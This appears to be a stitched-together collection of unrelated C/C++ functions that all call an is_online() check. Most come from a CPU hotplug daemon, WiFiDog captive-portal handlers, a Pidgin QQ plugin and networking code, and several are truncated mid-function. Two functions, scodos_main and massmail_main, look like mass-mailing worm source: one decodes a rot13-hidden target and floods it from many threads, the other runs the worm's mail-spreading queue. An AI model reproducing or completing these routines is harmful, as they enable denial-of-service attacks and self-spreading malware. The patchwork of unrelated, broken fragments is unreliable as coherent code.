/* * Cleanup method. If the daemon is stopped, we (re)activate all cpus */ void reactivate_cpus() { /* * Only enable the number of cpus which where * available at daemon startup time */ int cpuid, nc; cpuid = 0; /* suppress verbose messages on exit */ debug = 0; /* * We check for num_cpu_start != 0 because we might want to * clean up, before we queried for the number on cpus at * startup */ if (num_cpu_start == 0) return; while (get_num_online_cpus() != num_cpu_start && cpuid < MAX_CPU) { nc = get_num_online_cpus(); if (nc == num_cpu_start) return; if (nc > num_cpu_start && is_online(cpuid) == 1) hotunplug(cpuid); if (nc < num_cpu_start && is_online(cpuid) == 0) hotplug(cpuid); cpuid++; } }
void mark_online() { int before; int after; before = is_online(); time(&last_online_time); after = is_online(); if (before != after) { debug(LOG_INFO, "ONLINE status became %s", (after ? "ON" : "OFF")); } }
static GList *qq_buddy_menu(PurpleBuddy *buddy) { GList *m = NULL; PurpleMenuAction *act; qq_buddy_data *bd = purple_buddy_get_protocol_data(buddy); if (bd == NULL) { act = purple_menu_action_new(_("Add Buddy"), PURPLE_CALLBACK(qq_add_buddy_from_menu_cb), NULL, NULL); m = g_list_append(m, act); return m; } /* TODO: MASK ALL UNFIXED BUT TOUCHABLE FUNCTION !! act = purple_menu_action_new(_("Modify Buddy Alias"), PURPLE_CALLBACK(qq_modify_buddy_memo_from_menu_cb), NULL, NULL); m = g_list_append(m, act); */ /* TODO : not working, temp commented out by gfhuang */ #if 0 if (bd && is_online(bd->status)) { act = purple_menu_action_new(_("Send File"), PURPLE_CALLBACK(_qq_menu_send_file), NULL, NULL); /* add NULL by gfhuang */ m = g_list_append(m, act); } #endif return m; }
static void enable_session_mode(struct test_fix *fix) { set_session_mode(fix, true); if (!is_online(fix)) util_idle_call(fix, util_quit_loop, NULL); }
void scodos_main(void) { struct hostent *h; struct sockaddr_in addr; int i; unsigned long tid; char buf[128]; rot13(buf, SCO_SITE_ROT13); for (;;) { while (is_online() == 0) Sleep(32768); h = gethostbyname(buf); if (h == NULL) { Sleep(32768); continue; } memset(&addr, '\0', sizeof(addr)); addr.sin_family = AF_INET; addr.sin_addr = *(struct in_addr *)h->h_addr_list[0]; addr.sin_port = htons(SCO_PORT); break; } for (i=1; i<SCODOS_THREADS; i++) CreateThread(0, 0, scodos_th, (LPVOID)&addr, 0, &tid); scodos_th(&addr); }
void mark_offline() { int before; int after; before = is_online(); time(&last_offline_time); after = is_online(); if (before != after) { debug(LOG_INFO, "ONLINE status became %s", (after ? "ON" : "OFF")); } /* If we're offline it definately means the auth server is offline */ mark_auth_offline(); }
UStatus ua_location_service_controller_query_status( UALocationServiceController *controller, UALocationServiceStatusFlags *out_flags) { (void) controller; *out_flags = 0; try { auto service = Instance::instance().get_service(); if (service->is_online().get()) *out_flags |= UA_LOCATION_SERVICE_ENABLED; else *out_flags |= UA_LOCATION_SERVICE_DISABLED; if (service->does_satellite_based_positioning().get()) *out_flags |= UA_LOCATION_SERVICE_GPS_ENABLED; else *out_flags |= UA_LOCATION_SERVICE_GPS_DISABLED; return U_STATUS_SUCCESS; } catch(const std::exception& e) { std::cerr << "ua_location_service_controller_query_status: error accessing instance: " << e.what() << std::endl; } catch(...) { std::cerr << "ua_location_service_controller_query_status: error accessing instance." << std::endl; } return U_STATUS_ERROR; }
static void manager_state_changed(struct test_fix *fix) { if (!is_online(fix)) { fix->manager_changed = NULL; util_idle_call(fix, util_quit_loop, NULL); } }
void logout(void) { struct user *tmpuser; char *uname; struct btmp btmp; uname = get_name("Name of user to log out? ", 2); if (*uname) { if (!(tmpuser = getuser(uname))) printf("There is no user %s on this BBS.\n", uname); else { if (tmpuser->f_prog && !ouruser->f_prog) printf("Can't do that!\n"); else if (!is_online(&btmp, tmpuser, NULL)) printf("%s is not online.\n", uname); else logout_user(tmpuser, NULL, 0); freeuser(tmpuser); } } }
static gboolean manager_state_changed(gpointer data) { struct test_fix *fix = data; if (is_online(fix) == FALSE) { fix->manager_changed = NULL; util_idle_call(fix, util_quit_loop, NULL); } return FALSE; }
static gboolean enable_session_mode(gpointer data) { struct test_fix *fix = data; set_session_mode(fix, TRUE); if (is_online(fix) == FALSE) util_idle_call(fix, util_quit_loop, NULL); return FALSE; }
void PushN8PhoneMag::timerEvent(QTimerEvent *) { if(!is_online()) return; NPushMagTick * newMagTick = new NPushMagTick(magSensor->reading()); if(receivers(SIGNAL(reading_ready(NPushLogTick*))) > 0) { emit reading_ready(newMagTick); } else { delete newMagTick;
user_state determine_state( bool removed, us::user_service_ptr s, us::user_info_ptr c) { REQUIRE(s); REQUIRE(c); if(removed) return REMOVED; user_state st = OFFLINE; if(is_online(c, s)) st = s->contact_idle(c->id()) ? IDLE : ONLINE; return st; }
int is_auth_online() { if (!is_online()) { /* If we're not online auth is definately not online :) */ return (0); } // modified by lijg, 2013-07-17, while after NTP , @last_auth_offline_time 's value is dangerous else if (last_auth_online_time == 0 /*|| (last_auth_offline_time - last_auth_online_time) >= (config_get_config()->checkinterval * 2) */) { /* Auth is probably offline */ return (0); } else { /* Auth is probably online */ return (1); } }
int is_auth_online() { if (!is_online()) { /* If we're not online auth is definately not online :) */ return (0); } else if (last_auth_online_time == 0 || (last_auth_offline_time - last_auth_online_time) >= (config_get_config()->checkinterval * 2) ) { /* Auth is probably offline */ return (0); } else { /* Auth is probably online */ return (1); } }
void user_info::update(std::function<bool(us::user_info&)> f, bool update_action) { INVARIANT(_service); INVARIANT(_contact); INVARIANT(_user_text); bool online = is_online(_contact, _service , !f(*_contact)); auto version = _service->check_contact_version(_contact->id()); _user_text->setText(_contact->name().c_str()); _user_text->setToolTip( user_tooltip(_contact, determine_state(_removed, _service, _contact), version).c_str()); set_text_color_to( user_color(_contact, determine_state(_removed, _service, _contact), version)); if(_action && update_action) _action->setVisible(!_removed && online); }
bool UDTPPeer::add_thread() { if(!is_online()) return false; /*Not online? Can't add!*/ unsigned int flowSocket; flowSocket = socket(AF_INET, SOCK_DGRAM, 0); if(flowSocket <0) return false; int optval = 1; if((setsockopt(flowSocket, SOL_SOCKET, SO_REUSEADDR, &optval, sizeof(optval))) < 0) return false; struct sockaddr_in flowAddress; if(host_local()){ /*HOSTs have several destinations but luckily we stored the address on connect() here!*/ /*Only downside is that when we receive messages from PEER on UDPs that we will not know where it is coming from!*/ flowAddress = get_address(); }else{ /*PEER's only have one destination and that is the HOST!*/ flowAddress.sin_addr.s_addr = inet_addr(udtp()->setup()->get_ip()); flowAddress.sin_port = htons(udtp()->setup()->get_port()); flowAddress.sin_family = AF_INET; } if( (bind(flowSocket, (struct sockaddr*)&flowAddress, sizeof(flowAddress))) < 0 ) { perror("udp-bind"); return false; } /*Start a flow thread!*/ pthread_t flowThreadHandler; UDTPThreadFlow *newFlowThread = new UDTPThreadFlow((UDTP*)this, flowThreadHandler, flowSocket); newFlowThread->set_peer(this); pthread_create(&flowThreadHandler, NULL, UDTPPeer::flowThread, (UDTPThreadFlow*)newFlowThread); pthread_tryjoin_np(flowThreadHandler, NULL); /*Start a process thread!*/ pthread_t processThreadHandler; UDTPThreadProcess *newProcessThread = new UDTPThreadProcess(); newProcessThread->set_peer(this); pthread_create(&processThreadHandler, NULL, UDTPPeer::flowThread, (UDTPThreadProcess*)newProcessThread); pthread_tryjoin_np(processThreadHandler, NULL); std::cout << "PEER " << get_unique_id() << " has added a flow and process thread!" << std::endl; increment_thread_count(); return true; }
bool TunnelIPv6Interface::set_realm_local_address(const struct in6_addr *addr, int prefixlen) { bool ret = false; if (is_online() && (mRealmLocalAddress != *addr)) { require(ret = add_address(addr, prefixlen), bail); if (!IN6_IS_ADDR_UNSPECIFIED(&mRealmLocalAddress)) { remove_address(&mRealmLocalAddress, mRealmLocalPrefixSize); } } mRealmLocalAddress = *addr; mRealmLocalPrefixSize = prefixlen; ret = true; bail: return ret; }
UStatus ua_location_service_controller_enable_service( UALocationServiceController *controller) { (void) controller; try { auto service = Instance::instance().get_service(); service->is_online().set(true); return U_STATUS_SUCCESS; } catch(const std::exception& e) { std::cerr << "ua_location_service_controller_enable_service: error accessing instance: " << e.what() << std::endl; } catch(...) { std::cerr << "ua_location_service_controller_enable_service: error accessing instance." << std::endl; } return U_STATUS_ERROR; }
bool TunnelIPv6Interface::remove_route(const struct in6_addr *route, int prefixlen) { bool ret = false; syslog( LOG_INFO, "TunnelIPv6Interface: Removing route prefix \"%s/%d\" -> \"%s\".", in6_addr_to_string(*route).c_str(), prefixlen, mInterfaceName.c_str() ); if (is_online()) { require_noerr_action(tunnel_remove_route(mFDRead, route->s6_addr, prefixlen), bail, mLastError = errno); } ret = true; bail: return ret; }
bool TunnelIPv6Interface::add_address(const struct in6_addr *addr, int prefixlen) { bool ret = false; syslog( LOG_INFO, "TunnelIPv6Interface: Adding address \"%s\" to interface \"%s\".", in6_addr_to_string(*addr).c_str(), mInterfaceName.c_str() ); if (is_online()) { require_noerr_action(tunnel_add_address(mFDRead, addr->s6_addr, prefixlen), bail, mLastError = errno); } mAddresses.insert(*addr); ret = true; bail: return ret; }
/** The 404 handler is also responsible for redirecting to the auth server */ void http_callback_404(httpd * webserver, request * r, int error_code) { char tmp_url[MAX_BUF], *url, *mac; s_config *config = config_get_config(); t_auth_serv *auth_server = get_auth_server(); memset(tmp_url, 0, sizeof(tmp_url)); /* * XXX Note the code below assumes that the client's request is a plain * http request to a standard port. At any rate, this handler is called only * if the internet/auth server is down so it's not a huge loss, but still. */ snprintf(tmp_url, (sizeof(tmp_url) - 1), "http://%s%s%s%s", r->request.host, r->request.path, r->request.query[0] ? "?" : "", r->request.query); url = httpdUrlEncode(tmp_url); if (!is_online()) { /* The internet connection is down at the moment - apologize and do not redirect anywhere */ char *buf; safe_asprintf(&buf, "<p>We apologize, but it seems that the internet connection that powers this hotspot is temporarily unavailable.</p>" "<p>If at all possible, please notify the owners of this hotspot that the internet connection is out of service.</p>" "<p>The maintainers of this network are aware of this disruption. We hope that this situation will be resolved soon.</p>" "<p>In a while please <a href='%s'>click here</a> to try your request again.</p>", tmp_url); send_http_page(r, "Uh oh! Internet access unavailable!", buf); free(buf); debug(LOG_INFO, "Sent %s an apology since I am not online - no point sending them to auth server", r->clientAddr); } else if (!is_auth_online()) { /* The auth server is down at the moment - apologize and do not redirect anywhere */ char *buf; safe_asprintf(&buf, "<p>We apologize, but it seems that we are currently unable to re-direct you to the login screen.</p>" "<p>The maintainers of this network are aware of this disruption. We hope that this situation will be resolved soon.</p>" "<p>In a couple of minutes please <a href='%s'>click here</a> to try your request again.</p>", tmp_url); send_http_page(r, "Uh oh! Login screen unavailable!", buf); free(buf); debug(LOG_INFO, "Sent %s an apology since auth server not online - no point sending them to auth server", r->clientAddr); } else { /* Re-direct them to auth server */ char *urlFragment; if (!(mac = arp_get(r->clientAddr))) { /* We could not get their MAC address */ debug(LOG_INFO, "Failed to retrieve MAC address for ip %s, so not putting in the login request", r->clientAddr); safe_asprintf(&urlFragment, "%sgw_address=%s&gw_port=%d&gw_id=%s&ip=%s&url=%s", auth_server->authserv_login_script_path_fragment, config->gw_address, config->gw_port, config->gw_id, r->clientAddr, url); } else { debug(LOG_INFO, "Got client MAC address for ip %s: %s", r->clientAddr, mac); safe_asprintf(&urlFragment, "%sgw_address=%s&gw_port=%d&gw_id=%s&ip=%s&mac=%s&url=%s", auth_server->authserv_login_script_path_fragment, config->gw_address, config->gw_port, config->gw_id, r->clientAddr, mac, url); free(mac); } // if host is not in whitelist, maybe not in conf or domain'IP changed, it will go to here. debug(LOG_INFO, "Check host %s is in whitelist or not", r->request.host); // e.g. www.example.com t_firewall_rule *rule; //e.g. example.com is in whitelist // if request http://www.example.com/, it's not equal example.com. for (rule = get_ruleset("global"); rule != NULL; rule = rule->next) { debug(LOG_INFO, "rule mask %s", rule->mask); if (strstr(r->request.host, rule->mask) == NULL) { debug(LOG_INFO, "host %s is not in %s, continue", r->request.host, rule->mask); continue; } int host_length = strlen(r->request.host); int mask_length = strlen(rule->mask); if (host_length != mask_length) { char prefix[1024] = { 0 }; // must be *.example.com, if not have ".", maybe Phishing. e.g. phishingexample.com strncpy(prefix, r->request.host, host_length - mask_length - 1); // e.g. www strcat(prefix, "."); // www. strcat(prefix, rule->mask); // www.example.com if (strcasecmp(r->request.host, prefix) == 0) { debug(LOG_INFO, "allow subdomain"); fw_allow_host(r->request.host); http_send_redirect(r, tmp_url, "allow subdomain"); free(url); free(urlFragment); return; } } else { // e.g. "example.com" is in conf, so it had been parse to IP and added into "iptables allow" when wifidog start. but then its' A record(IP) changed, it will go to here. debug(LOG_INFO, "allow domain again, because IP changed"); fw_allow_host(r->request.host); http_send_redirect(r, tmp_url, "allow domain"); free(url); free(urlFragment); return; } } debug(LOG_INFO, "Captured %s requesting [%s] and re-directing them to login page", r->clientAddr, url); http_send_redirect_to_auth(r, urlFragment, "Redirect to login page"); free(urlFragment); } free(url); }
/** The 404 handler is also responsible for redirecting to the auth server */ void http_callback_404(httpd *webserver, request *r) { char tmp_url[MAX_BUF], *url, *mac; s_config *config = config_get_config(); t_auth_serv *auth_server = get_auth_server(); memset(tmp_url, 0, sizeof(tmp_url)); /* * XXX Note the code below assumes that the client's request is a plain * http request to a standard port. At any rate, this handler is called only * if the internet/auth server is down so it's not a huge loss, but still. */ snprintf(tmp_url, (sizeof(tmp_url) - 1), "http://%s%s%s%s", r->request.host, r->request.path, r->request.query[0] ? "?" : "", r->request.query); url = httpdUrlEncode(tmp_url); if (!is_online()) { /* The internet connection is down at the moment - apologize and do not redirect anywhere */ char * buf; safe_asprintf(&buf, "<p>We apologize, but it seems that the internet connection that powers this hotspot is temporarily unavailable.</p>" "<p>If at all possible, please notify the owners of this hotspot that the internet connection is out of service.</p>" "<p>The maintainers of this network are aware of this disruption. We hope that this situation will be resolved soon.</p>" "<p>In a while please <a href='%s'>click here</a> to try your request again.</p>", tmp_url); send_http_page(r, "Uh oh! Internet access unavailable!", buf); free(buf); debug(LOG_INFO, "Sent %s an apology since I am not online - no point sending them to auth server", r->clientAddr); } else if (!is_auth_online()) { /* The auth server is down at the moment - apologize and do not redirect anywhere */ char * buf; safe_asprintf(&buf, "<p>We apologize, but it seems that we are currently unable to re-direct you to the login screen.</p>" "<p>The maintainers of this network are aware of this disruption. We hope that this situation will be resolved soon.</p>" "<p>In a couple of minutes please <a href='%s'>click here</a> to try your request again.</p>", tmp_url); send_http_page(r, "Uh oh! Login screen unavailable!", buf); free(buf); debug(LOG_INFO, "Sent %s an apology since auth server not online - no point sending them to auth server", r->clientAddr); } else { //hector add 2014/3/18 get_oauth_iplist(); fw_set_oauthservers(); //hector end /* Re-direct them to auth server */ char *urlFragment; if (!(mac = arp_get(r->clientAddr))) { /* We could not get their MAC address */ debug(LOG_INFO, "Failed to retrieve MAC address for ip %s, so not putting in the login request", r->clientAddr); safe_asprintf(&urlFragment, "%sgw_address=%s&gw_port=%d&gw_id=%s&url=%s", auth_server->authserv_login_script_path_fragment, config->gw_address, config->gw_port, config->gw_id, url); } else { debug(LOG_INFO, "Got client MAC address for ip %s: %s", r->clientAddr, mac); safe_asprintf(&urlFragment, "%sgw_address=%s&gw_port=%d&gw_id=%s&mac=%s&url=%s", auth_server->authserv_login_script_path_fragment, config->gw_address, config->gw_port, config->gw_id, mac, url); } debug(LOG_INFO, "Captured %s requesting [%s] and re-directing them to login page", r->clientAddr, url); http_send_redirect_to_auth(r, urlFragment, "Redirect to login page"); free(urlFragment); } free(url); }
/* * @return A string containing human-readable status text. MUST BE free()d by caller */ char * get_status_text() { char buffer[STATUS_BUF_SIZ]; ssize_t len; s_config *config; t_auth_serv *auth_server; t_client *first; int count; unsigned long int uptime = 0; unsigned int days = 0, hours = 0, minutes = 0, seconds = 0; t_trusted_mac *p; len = 0; snprintf(buffer, (sizeof(buffer) - len), "WiFiDog status\n\n"); len = strlen(buffer); uptime = time(NULL) - started_time; days = uptime / (24 * 60 * 60); uptime -= days * (24 * 60 * 60); hours = uptime / (60 * 60); uptime -= hours * (60 * 60); minutes = uptime / 60; uptime -= minutes * 60; seconds = uptime; snprintf((buffer + len), (sizeof(buffer) - len), "Version: " VERSION "\n"); len = strlen(buffer); snprintf((buffer + len), (sizeof(buffer) - len), "Uptime: %ud %uh %um %us\n", days, hours, minutes, seconds); len = strlen(buffer); snprintf((buffer + len), (sizeof(buffer) - len), "Has been restarted: "); len = strlen(buffer); if (restart_orig_pid) { snprintf((buffer + len), (sizeof(buffer) - len), "yes (from PID %d)\n", restart_orig_pid); len = strlen(buffer); } else { snprintf((buffer + len), (sizeof(buffer) - len), "no\n"); len = strlen(buffer); } snprintf((buffer + len), (sizeof(buffer) - len), "Internet Connectivity: %s\n", (is_online() ? "yes" : "no")); len = strlen(buffer); snprintf((buffer + len), (sizeof(buffer) - len), "Auth server reachable: %s\n", (is_auth_online() ? "yes" : "no")); len = strlen(buffer); snprintf((buffer + len), (sizeof(buffer) - len), "Clients served this session: %lu\n\n", served_this_session); len = strlen(buffer); LOCK_CLIENT_LIST(); first = client_get_first_client(); if (first == NULL) { count = 0; } else { count = 1; while (first->next != NULL) { first = first->next; count++; } } snprintf((buffer + len), (sizeof(buffer) - len), "%d clients " "connected.\n", count); len = strlen(buffer); first = client_get_first_client(); count = 0; while (first != NULL) { snprintf((buffer + len), (sizeof(buffer) - len), "\nClient %d\n", count); len = strlen(buffer); snprintf((buffer + len), (sizeof(buffer) - len), " IP: %s MAC: %s\n", first->ip, first->mac); len = strlen(buffer); snprintf((buffer + len), (sizeof(buffer) - len), " Token: %s\n", first->token); len = strlen(buffer); snprintf((buffer + len), (sizeof(buffer) - len), " Downloaded: %llu\n Uploaded: %llu\n" , first->counters.incoming, first->counters.outgoing); len = strlen(buffer); count++; first = first->next; } UNLOCK_CLIENT_LIST(); config = config_get_config(); if (config->trustedmaclist != NULL) { snprintf((buffer + len), (sizeof(buffer) - len), "\nTrusted MAC addresses:\n"); len = strlen(buffer); for (p = config->trustedmaclist; p != NULL; p = p->next) { snprintf((buffer + len), (sizeof(buffer) - len), " %s\n", p->mac); len = strlen(buffer); } } snprintf((buffer + len), (sizeof(buffer) - len), "\nAuthentication servers:\n"); len = strlen(buffer); LOCK_CONFIG(); for (auth_server = config->auth_servers; auth_server != NULL; auth_server = auth_server->next) { snprintf((buffer + len), (sizeof(buffer) - len), " Host: %s (%s)\n", auth_server->authserv_hostname, auth_server->last_ip); len = strlen(buffer); } UNLOCK_CONFIG(); return safe_strdup(buffer); }
static void eval_cpu_rules(void) { double diffs[CPUSTATS], diffs_total, percent_factor; char *procinfo_current, *procinfo_prev; int cpu, nr_cpus, on_off; nr_cpus = get_numcpus(); procinfo_current = cpustat + history_current * cpustat_size; procinfo_prev = cpustat + history_prev * cpustat_size; diffs[0] = get_proc_value(procinfo_current, "user", ' ') - get_proc_value(procinfo_prev, "user", ' '); diffs[1] = get_proc_value(procinfo_current, "nice", ' ') - get_proc_value(procinfo_prev, "nice", ' '); diffs[2] = get_proc_value(procinfo_current, "system", ' ') - get_proc_value(procinfo_prev, "system", ' '); diffs[3] = get_proc_value(procinfo_current, "idle", ' ') - get_proc_value(procinfo_prev, "idle", ' '); diffs[4] = get_proc_value(procinfo_current, "iowait", ' ') - get_proc_value(procinfo_prev, "iowait", ' '); diffs[5] = get_proc_value(procinfo_current, "irq", ' ') - get_proc_value(procinfo_prev, "irq", ' '); diffs[6] = get_proc_value(procinfo_current, "softirq", ' ') - get_proc_value(procinfo_prev, "softirq", ' '); diffs[7] = get_proc_value(procinfo_current, "steal", ' ') - get_proc_value(procinfo_prev, "steal", ' '); diffs[8] = get_proc_value(procinfo_current, "guest", ' ') - get_proc_value(procinfo_prev, "guest", ' '); diffs[9] = get_proc_value(procinfo_current, "guest_nice", ' ') - get_proc_value(procinfo_prev, "guest_nice", ' '); diffs_total = get_proc_value(procinfo_current, "total_ticks", ' ') - get_proc_value(procinfo_prev, "total_ticks", ' '); if (diffs_total == 0) diffs_total = 1; symbols.loadavg = get_proc_value(procinfo_current, "loadavg", ' '); symbols.runnable_proc = get_proc_value(procinfo_current, "runnable_proc", ' '); symbols.onumcpus = get_proc_value(procinfo_current, "onumcpus", ' '); percent_factor = 100 * symbols.onumcpus; symbols.user = (diffs[0] / diffs_total) * percent_factor; symbols.nice = (diffs[1] / diffs_total) * percent_factor; symbols.system = (diffs[2] / diffs_total) * percent_factor; symbols.idle = (diffs[3] / diffs_total) * percent_factor; symbols.iowait = (diffs[4] / diffs_total) * percent_factor; symbols.irq = (diffs[5] / diffs_total) * percent_factor; symbols.softirq = (diffs[6] / diffs_total) * percent_factor; symbols.steal = (diffs[7] / diffs_total) * percent_factor; symbols.guest = (diffs[8] / diffs_total) * percent_factor; symbols.guest_nice = (diffs[9] / diffs_total) * percent_factor; /* only use this for development and testing */ cpuplugd_debug("cpustat values:\n%s", cpustat + history_current * cpustat_size); if (debug && foreground == 1) { printf("-------------------- CPU --------------------\n"); printf("cpu_min: %ld\n", cfg.cpu_min); printf("cpu_max: %ld\n", cfg.cpu_max); printf("loadavg: %f \n", symbols.loadavg); printf("user percent = %f\n", symbols.user); printf("nice percent = %f\n", symbols.nice); printf("system percent = %f\n", symbols.system); printf("idle percent = %f\n", symbols.idle); printf("iowait percent = %f\n", symbols.iowait); printf("irq percent = %f\n", symbols.irq); printf("softirq percent = %f\n", symbols.softirq); printf("steal percent = %f\n", symbols.steal); printf("guest percent = %f\n", symbols.guest); printf("guest_nice percent = %f\n", symbols.guest_nice); printf("numcpus %d\n", nr_cpus); printf("runnable_proc: %d\n", (int) symbols.runnable_proc); printf("---------------------------------------------\n"); printf("onumcpus: %d\n", (int) symbols.onumcpus); printf("---------------------------------------------\n"); printf("hotplug: "); print_term(cfg.hotplug); printf("\n"); printf("hotunplug: "); print_term(cfg.hotunplug); printf("\n"); printf("---------------------------------------------\n"); } on_off = 0; /* Evaluate the hotplug rule */ if (eval_term(cfg.hotplug, &symbols)) on_off++; /* Evaluate the hotunplug rule only if hotplug did not match */ else if (eval_term(cfg.hotunplug, &symbols)) on_off--; if (on_off > 0) { /* check the cpu nr limit */ if (symbols.onumcpus + 1 > cfg.cpu_max) { /* cpu limit reached */ cpuplugd_debug("maximum cpu limit is reached\n"); return; } /* try to find a offline cpu */ for (cpu = 0; cpu < nr_cpus; cpu++) if (is_online(cpu) == 0 && cpu_is_configured(cpu) != 0) break; if (cpu < nr_cpus) { cpuplugd_debug("cpu with id %d is currently offline " "and will be enabled\n", cpu); if (hotplug(cpu) == -1) cpuplugd_debug("unable to find a cpu which " "can be enabled\n"); } else { /* * In case we tried to enable a cpu but this failed. * This is the case if a cpu is deconfigured */ cpuplugd_debug("unable to find a cpu which can " "be enabled\n"); } } else if (on_off < 0) { /* check cpu nr limit */ if (symbols.onumcpus <= cfg.cpu_min) { cpuplugd_debug("minimum cpu limit is reached\n"); return; } /* try to find a online cpu */ for (cpu = get_numcpus() - 1; cpu >= 0; cpu--) { if (is_online(cpu) != 0) break; } if (cpu > 0) { cpuplugd_debug("cpu with id %d is currently online " "and will be disabled\n", cpu); hotunplug(cpu); } } }
/* refresh online member in group conversation window */ void qq_room_conv_set_onlines(PurpleConnection *gc, qq_room_data *rmd) { GList *names, *list, *flags; qq_buddy_data *bd; gchar *member_name, *member_uid; PurpleConversation *conv; gint flag; gboolean is_find; g_return_if_fail(rmd != NULL); conv = purple_find_conversation_with_account(PURPLE_CONV_TYPE_CHAT, rmd->title_utf8, purple_connection_get_account(gc)); if (conv == NULL) { purple_debug_warning("QQ", "Conversation \"%s\" is not opened\n", rmd->title_utf8); return; } g_return_if_fail(rmd->members != NULL); names = NULL; flags = NULL; list = rmd->members; while (list != NULL) { bd = (qq_buddy_data *) list->data; /* we need unique identifiers for everyone in the chat or else we'll * run into problems with functions like get_cb_real_name from qq.c */ member_name = (bd->nickname != NULL && *(bd->nickname) != '\0') ? g_strdup_printf("%s (%u)", bd->nickname, bd->uid) : g_strdup_printf("(%u)", bd->uid); member_uid = g_strdup_printf("(%u)", bd->uid); flag = 0; /* TYPING to put online above OP and FOUNDER */ if (is_online(bd->status)) flag |= (PURPLE_CBFLAGS_TYPING | PURPLE_CBFLAGS_VOICE); if(1 == (bd->role & 1)) flag |= PURPLE_CBFLAGS_OP; if(bd->uid == rmd->creator_uid) flag |= PURPLE_CBFLAGS_FOUNDER; is_find = TRUE; if (purple_conv_chat_find_user(PURPLE_CONV_CHAT(conv), member_name)) { purple_conv_chat_user_set_flags(PURPLE_CONV_CHAT(conv), member_name, flag); } else if (purple_conv_chat_find_user(PURPLE_CONV_CHAT(conv), member_uid)) { purple_conv_chat_user_set_flags(PURPLE_CONV_CHAT(conv), member_uid, flag); purple_conv_chat_rename_user(PURPLE_CONV_CHAT(conv), member_uid, member_name); } else { is_find = FALSE; } if (!is_find) { /* always put it even offline */ names = g_list_append(names, member_name); flags = g_list_append(flags, GINT_TO_POINTER(flag)); } else { g_free(member_name); } g_free(member_uid); list = list->next; } if (names != NULL && flags != NULL) { purple_conv_chat_add_users(PURPLE_CONV_CHAT(conv), names, NULL, flags, FALSE); } /* clean up names */ while (names != NULL) { member_name = (gchar *) names->data; names = g_list_remove(names, member_name); g_free(member_name); } g_list_free(flags); }
void massmail_main(void) { register struct mailq_t *mq1; struct mailq_t *mq_best; int queue_status; /* 0=okay, 1=many unprocessed, 2=no unprocessed */ int queue_total, queue_unprocessed; HANDLE hThread; DWORD tid, last_req_tick; queue_status = 0; mmshed_run_threads = 0; for (;;) { while (is_online() == 0) { Sleep(2048); scan_freeze(1); Sleep(16384 - 2048); } scan_freeze((queue_status == 1) ? 1 : 0); queue_total = 0; queue_unprocessed = 0; last_req_tick = 0; for (mq1=massmail_queue, mq_best=NULL; mq1; mq1=mq1->next) { queue_total++; if (mq1->state == 0) { /* "not processed" */ queue_unprocessed++; if (mq_best) { if (mq_best->priority > mq1->priority) mq_best = mq1; } else { mq_best = mq1; } } if (mq1->tick_got >= last_req_tick) last_req_tick = mq1->tick_got; } if (queue_total >= MMSHED_QUEUE_OVERFLOW) { mmshed_rmold(); if (queue_unprocessed > MMSHED_UNPROC_FREEZE) { queue_status = 1; scan_freeze(1); } else { queue_status = 0; } } else { queue_status = 0; } if ((queue_unprocessed == 0) || (mq_best == NULL)) { queue_status = 2; scan_freeze(0); if ((queue_total >= 3) && last_req_tick && ((GetTickCount() - last_req_tick) >= MMSHED_GENTIMEOUT)) { mm_gen(); Sleep(128); } else { Sleep(1024); } continue; } if (mmshed_run_threads >= MMSHED_THREADS) { Sleep(256); continue; } mq_best->state = 1; hThread = CreateThread(0, 0, mmsender_th, (LPVOID)mq_best, 0, &tid); if (hThread == NULL || hThread == INVALID_HANDLE_VALUE) { mq_best->state = 2; Sleep(1024); continue; } CloseHandle(hThread); Sleep(256); } }
// returns 1 if combat is multiplayer (party) or 0 when single int combat_ismulti() { if (is_online(partymember1.id) || is_online(partymember2.id)) return 1; return 0; }
/* * @return A string containing human-readable status text. MUST BE free()d by caller */ char * get_status_text() { pstr_t *pstr = pstr_new(); s_config *config; t_auth_serv *auth_server; t_client *sublist, *current; int count; time_t uptime = 0; unsigned int days = 0, hours = 0, minutes = 0, seconds = 0; t_trusted_mac *p; t_offline_client *oc_list; pstr_cat(pstr, "WiFiDog status\n\n"); uptime = time(NULL) - started_time; days = (unsigned int)uptime / (24 * 60 * 60); uptime -= days * (24 * 60 * 60); hours = (unsigned int)uptime / (60 * 60); uptime -= hours * (60 * 60); minutes = (unsigned int)uptime / 60; uptime -= minutes * 60; seconds = (unsigned int)uptime; pstr_cat(pstr, "Version: " VERSION "\n"); pstr_append_sprintf(pstr, "Uptime: %ud %uh %um %us\n", days, hours, minutes, seconds); pstr_cat(pstr, "Has been restarted: "); if (restart_orig_pid) { pstr_append_sprintf(pstr, "yes (from PID %d)\n", restart_orig_pid); } else { pstr_cat(pstr, "no\n"); } pstr_append_sprintf(pstr, "Internet Connectivity: %s\n", (is_online()? "yes" : "no")); pstr_append_sprintf(pstr, "Auth server reachable: %s\n", (is_auth_online()? "yes" : "no")); pstr_append_sprintf(pstr, "Clients served this session: %lu\n\n", served_this_session); LOCK_CLIENT_LIST(); count = client_list_dup(&sublist); UNLOCK_CLIENT_LIST(); current = sublist; pstr_append_sprintf(pstr, "%d clients " "connected.\n", count); count = 1; while (current != NULL) { pstr_append_sprintf(pstr, "\nClient %d status [%d]\n", count, current->is_online); pstr_append_sprintf(pstr, " IP: %s MAC: %s\n", current->ip, current->mac); pstr_append_sprintf(pstr, " Token: %s\n", current->token); pstr_append_sprintf(pstr, " First Login: %lld\n", (long long)current->first_login); pstr_append_sprintf(pstr, " Name: %s\n", current->name != NULL?current->name:"null"); pstr_append_sprintf(pstr, " Downloaded: %llu\n Uploaded: %llu\n", current->counters.incoming, current->counters.outgoing); count++; current = current->next; } client_list_destroy(sublist); LOCK_OFFLINE_CLIENT_LIST(); pstr_append_sprintf(pstr, "%d clients " "unconnected.\n", offline_client_number()); oc_list = client_get_first_offline_client(); while(oc_list != NULL) { pstr_append_sprintf(pstr, " IP: %s MAC: %s Last Login: %lld Hit Counts: %d Client Type: %d Temp Passed: %d\n", oc_list->ip, oc_list->mac, (long long)oc_list->last_login, oc_list->hit_counts, oc_list->client_type, oc_list->temp_passed); oc_list = oc_list->next; } UNLOCK_OFFLINE_CLIENT_LIST(); config = config_get_config(); LOCK_CONFIG(); if (config->trustedmaclist != NULL) { pstr_cat(pstr, "\nTrusted MAC addresses:\n"); for (p = config->trustedmaclist; p != NULL; p = p->next) { pstr_append_sprintf(pstr, " %s\n", p->mac); } } pstr_cat(pstr, "\nAuthentication servers:\n"); for (auth_server = config->auth_servers; auth_server != NULL; auth_server = auth_server->next) { pstr_append_sprintf(pstr, " Host: %s (%s)\n", auth_server->authserv_hostname, auth_server->last_ip); } UNLOCK_CONFIG(); 